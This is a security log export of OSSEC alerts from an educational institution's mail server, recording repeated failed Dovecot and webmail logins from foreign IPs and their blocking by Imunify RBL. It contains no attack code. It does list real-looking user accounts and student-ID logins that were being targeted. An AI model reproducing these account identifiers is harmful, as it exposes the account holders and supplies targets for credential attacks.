name: Exim Auth failed
abuser: 60.223.251.251
country_id: 1814991
description:
2025-02-07 17:45:20 dovecot_plain authenticator failed for (251.251.223.60.adsl-pool.sx.cn) [60.223.251.251]:43683: 535 Incorrect authentication data (set_id=ads23a00041y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.70.38.99
country_id: 3865483
description:
Feb  7 17:46:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.70.38.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.38.99
country_id: 3865483
description:
2025-02-07 17:46:38 dovecot_login authenticator failed for (ADMIN) [146.70.38.99]:54642: 535 Incorrect authentication data (set_id=ait@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.172.72
country_id: 1819730
description:
Feb  7 17:46:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.172.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.172.72
country_id: 1819730
description:
2025-02-07 17:46:31 dovecot_plain authenticator failed for ([223.197.172.72]) [223.197.172.72]:57386: 535 Incorrect authentication data (set_id=ujakpa)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.221.252.181
country_id: 783754
description:
[2025-02-07 17:46:01 +0100] info [webmaild] 185.221.252.181 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.198.138.185
country_id: 1814991
description:
2025-02-07 17:46:03 dovecot_plain authenticator failed for ([120.198.138.185]) [120.198.138.185]:45134: 535 Incorrect authentication data (set_id=bscs18bit0021y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.194.128.158
country_id: 1269750
description:
Feb  7 17:46:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.194.128.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.194.128.158
country_id: 1269750
description:
2025-02-07 17:46:19 dovecot_plain authenticator failed for ([14.194.128.158]) [14.194.128.158]:53036: 535 Incorrect authentication data (set_id=ujakpa@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.126.10
country_id: 337996
description:
Feb  7 17:45:55 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.126.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.10
country_id: 337996
description:
2025-02-07 17:45:57 dovecot_plain authenticator failed for ([196.189.126.10]) [196.189.126.10]:42610: 535 Incorrect authentication data (set_id=ads21a00112y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.198.138.185
country_id: 1814991
description:
Feb  7 17:46:01 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.198.138.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.169.212.206
country_id: 1835841
description:
Feb  7 17:47:29 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.169.212.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.169.212.206
country_id: 1835841
description:
2025-02-07 17:47:31 dovecot_plain authenticator failed for ([211.53.58.1]) [211.169.212.206]:54841: 535 Incorrect authentication data (set_id=eng29b00328y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.226.241.177
country_id: 2017370
description:
Feb  7 17:47:38 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.226.241.177 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.226.241.177
country_id: 2017370
description:
2025-02-07 17:47:40 dovecot_plain authenticator failed for (pool-176-226-241-177.is74.ru) [176.226.241.177]:48746: 535 Incorrect authentication data (set_id=eng16b00239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.147.25.111
country_id: 1835841
description:
Feb  7 17:47:09 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.147.25.111 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.147.25.111
country_id: 1835841
description:
2025-02-07 17:47:11 dovecot_plain authenticator failed for ([121.147.25.111]) [121.147.25.111]:50004: 535 Incorrect authentication data (set_id=eng29b00328y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.134.31.193
country_id: 1835841
description:
Feb  7 17:48:35 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.134.31.193 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.134.31.193
country_id: 1835841
description:
2025-02-07 17:48:37 dovecot_plain authenticator failed for ([121.134.31.193]) [121.134.31.193]:45573: 535 Incorrect authentication data (set_id=eng19b00204y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.140
country_id: 1835841
description:
2025-02-07 17:48:38 dovecot_login authenticator failed for ([120.29.140.140]) [120.29.140.140]:43451: 535 Incorrect authentication data (set_id=dm@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.72.4.98
country_id: 2029969
description:
Feb  7 17:47:49 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.72.4.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.93.156.147
country_id: 798544
description:
2025-02-07 17:48:19 dovecot_plain authenticator failed for ip4-193-93-156-147.blue-net.com.pl ([193.93.156.149]) [193.93.156.147]:57458: 535 Incorrect authentication data (set_id=nkbosomefi)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.93.156.147
country_id: 798544
description:
Feb  7 17:48:17 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.93.156.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.140
country_id: 1835841
description:
Feb  7 17:48:36 ait auth[1883345]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.140 has been locked due to Imunify RBL


